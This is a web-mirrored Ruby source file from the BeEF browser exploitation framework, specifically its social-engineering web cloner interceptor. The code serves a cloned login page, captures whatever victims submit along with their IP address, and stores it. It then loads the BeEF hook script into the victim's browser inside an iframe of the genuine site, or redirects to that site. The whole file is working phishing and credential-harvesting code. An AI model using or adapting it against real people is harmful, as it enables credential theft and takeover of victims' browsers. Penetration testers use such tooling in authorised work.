Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/social_engineering/web_cloner/interceptor.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
module BeEF
7
module Extension
8
module SocialEngineering
9
require 'sinatra/base'
10
class Interceptor < Sinatra::Base
11
configure do
12
set :show_exceptions, false
13
end
14
15
# intercept GET
16
get '/' do
17
print_info "GET request from IP #{request.ip}"
18
print_info "Referer: #{request.referer}"
19
cloned_page = settings.cloned_page
20
cloned_page
21
end
22
23
# intercept POST
24
post '/' do
25
print_info "POST request from IP #{request.ip}"
26
request.body.rewind
27
data = request.body.read
28
print_info 'Intercepted data:'
29
print_info data
30
31
interceptor_db = BeEF::Core::Models::Interceptor.new(
32
webcloner_id: settings.db_entry.id,
33
post_data: data,
34
ip: request.ip
35
)
36
interceptor_db.save
37
38
if settings.frameable
39
print_info 'Page can be framed :-) Loading original URL into iFrame...'
40
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
41
else
42
print_info 'Page can not be framed :-) Redirecting to original URL...'
43
redirect settings.redirect_to
44
end
45
end
46
end
47
end
48
end
49
end
50
51